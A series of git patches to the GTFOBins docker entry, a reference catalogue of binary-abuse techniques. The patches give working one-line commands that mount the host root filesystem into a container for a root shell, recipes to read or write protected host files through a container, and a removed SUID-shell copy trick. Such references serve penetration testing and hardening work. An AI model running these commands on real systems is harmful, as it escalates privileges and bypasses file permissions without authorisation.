From 40ecb11b2e06626cb7f5ab1395160d4605d84c4f Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Tue, 2 Jul 2019 14:55:40 +0200 Subject: [PATCH 1/4] Simplify the docker example by using chroot Also make it available for non-root users. The previous SUID example had the problem that the loaders between host and containers must match, for example, copying `sh` from alpine to debian doesn't directly work. --- _gtfobins/docker.md | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/_gtfobins/docker.md b/_gtfobins/docker.md index 448c422..beb8c57 100644 --- a/_gtfobins/docker.md +++ b/_gtfobins/docker.md @@ -1,13 +1,14 @@ --- description: | - Exploit the fact that Docker runs as root to create a SUID binary on the host using a container. This requires the user to be privileged enough to run docker, e.g. being in the `docker` group. Any other Docker Linux image should work, e.g., `debian`. + This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`. functions: + shell: + - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. + code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh sudo: - - code: | - sudo docker run --rm -v /home/$USER:/h_docs ubuntu \ - sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p + - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. + code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh suid: - - code: | - ./docker run --rm -v /home/$USER:/h_docs ubuntu \ - sh -c 'cp /bin/sh /h_docs/ && chmod +s /h_docs/sh' && ~/sh -p + - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. + code: ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh --- From dcbf66329aa2bc3202652fbc363f980ac5213730 Mon Sep 17 00:00:00 2001 From: Dominic Breuker Date: Tue, 2 Jul 2019 15:53:28 +0200 Subject: [PATCH 2/4] Add file read and write as per #64 (temporary solution) --- _gtfobins/docker.md | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/_gtfobins/docker.md b/_gtfobins/docker.md index beb8c57..5370c40 100644 --- a/_gtfobins/docker.md +++ b/_gtfobins/docker.md @@ -5,6 +5,20 @@ functions: shell: - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh + file-write: + - description: Write any file by copying it to an existing container and back to the target destination on the host. The file will be owned by root. + code: | + CONTAINER_ID=existing-docker-container + echo "sensitive config" > /tmp/file.txt + sudo docker cp /tmp/file.txt $CONTAINER_ID:/tmp/file.txt + sudo docker cp $CONTAINER_ID:/tmp/file.txt /target/destination.txt + file-read: + - description: Read any file by copying it to an existing container and back to a new location on the host. + code: | + CONTAINER_ID=existing-docker-container + sudo docker cp /root/protected.txt $CONTAINER_ID:/tmp/file.txt + sudo docker cp $CONTAINER_ID:/tmp/file.txt /home/user/file.txt + cat /home/user/file.txt sudo: - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh From 01f611724814b877894832ff9d17704ef42e7a33 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Tue, 2 Jul 2019 16:11:15 +0200 Subject: [PATCH 3/4] Improve and generalize docker file read and write --- _gtfobins/docker.md | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/_gtfobins/docker.md b/_gtfobins/docker.md index 5370c40..3255601 100644 --- a/_gtfobins/docker.md +++ b/_gtfobins/docker.md @@ -6,19 +6,21 @@ functions: - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh file-write: - - description: Write any file by copying it to an existing container and back to the target destination on the host. The file will be owned by root. + - description: Write any file by copying it to an existing container and back to the target destination on the host. code: | CONTAINER_ID=existing-docker-container - echo "sensitive config" > /tmp/file.txt - sudo docker cp /tmp/file.txt $CONTAINER_ID:/tmp/file.txt - sudo docker cp $CONTAINER_ID:/tmp/file.txt /target/destination.txt + TF=$(mktemp) + echo "DATA" > $TF + docker cp $TF $CONTAINER_ID:$TF + docker cp $CONTAINER_ID:$TF file_to_write file-read: - description: Read any file by copying it to an existing container and back to a new location on the host. code: | CONTAINER_ID=existing-docker-container - sudo docker cp /root/protected.txt $CONTAINER_ID:/tmp/file.txt - sudo docker cp $CONTAINER_ID:/tmp/file.txt /home/user/file.txt - cat /home/user/file.txt + TF=$(mktemp) + docker cp file_to_read $CONTAINER_ID:$TF + docker cp $CONTAINER_ID:$TF $TF + cat $TF sudo: - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh From ce031a0d95131e0914bd1807c931b8949c6494c8 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Tue, 2 Jul 2019 16:15:39 +0200 Subject: [PATCH 4/4] Allow to create new containers in docker file read and write --- _gtfobins/docker.md | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) diff --git a/_gtfobins/docker.md b/_gtfobins/docker.md index 3255601..5a35c53 100644 --- a/_gtfobins/docker.md +++ b/_gtfobins/docker.md @@ -1,30 +1,32 @@ --- description: | This requires the user to be privileged enough to run docker, i.e. being in the `docker` group or being `root`. + + Any other Docker Linux image should work, e.g., `debian`. functions: shell: - - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. + - description: The resulting is a root shell. code: docker run -v /:/mnt --rm -it alpine chroot /mnt sh file-write: - - description: Write any file by copying it to an existing container and back to the target destination on the host. + - description: Write a file by copying it to a temporary container and back to the target destination on the host. code: | - CONTAINER_ID=existing-docker-container + CONTAINER_ID="$(docker run -d alpine)" # or existing TF=$(mktemp) echo "DATA" > $TF docker cp $TF $CONTAINER_ID:$TF docker cp $CONTAINER_ID:$TF file_to_write file-read: - - description: Read any file by copying it to an existing container and back to a new location on the host. + - description: Read a file by copying it to a temporary container and back to a new location on the host. code: | - CONTAINER_ID=existing-docker-container + CONTAINER_ID="$(docker run -d alpine)" # or existing TF=$(mktemp) docker cp file_to_read $CONTAINER_ID:$TF docker cp $CONTAINER_ID:$TF $TF cat $TF sudo: - - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. + - description: The resulting is a root shell. code: sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh suid: - - description: Any other Docker Linux image should work, e.g., `debian`. The resulting is a root shell. + - description: The resulting is a root shell. code: ./docker run -v /:/mnt --rm -it alpine chroot /mnt sh ---